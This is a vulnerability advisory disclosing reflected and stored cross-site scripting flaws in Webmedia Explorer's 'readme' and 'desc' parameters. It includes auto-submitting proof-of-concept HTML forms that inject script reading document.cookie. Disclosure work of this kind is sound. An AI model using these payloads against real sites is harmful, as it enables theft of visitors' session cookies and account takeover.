Cross-site Scripting (XSS) Vulnerabilities in Webmedia Explorer

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Webmedia Explorer which could be exploited to perform cross-site scripting and script insertion attacks.

1) Cross-site scripting (XSS) vulnerability in Webmedia Explorer
The vulnerability exists due to input sanitation error in the "readme" parameter in includes/folder.class.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/folder/post_23/my-article.html" method="post" name="main" >
<input type="hidden" name="object" value="folder" />
<input type="hidden" name="desc" value="My Article" />
<input type="hidden" name="tags" value="webmedia" />
<input type="hidden" name="position" value="" />
<input type="hidden" name="readme" value='Hello WebMedia Explorer!"><script>alert(document.cookie)</script>' />
<input type="hidden" name="day" value="22" />
<input type="hidden" name="month" value="05" />
<input type="hidden" name="year" value="2010" />
<input type="hidden" name="hour" value="14" />
<input type="hidden" name="minute" value="21" />
</form>
<script>
document.main.submit();
</script>

2) Script insertion vulnerability in Webmedia Explorer
Input passed to the "desc" parameter is not properly sanitized before being stored in the database. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
<form action="http://host/folder" method="post" name="main">
<input type="hidden" name="object" value="folder">
<input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="tags" value="">
<input type="hidden" name="position" value="">
<input type="hidden" name="readme" value="post txt">
</form>
<script>
document.main.submit();
</script>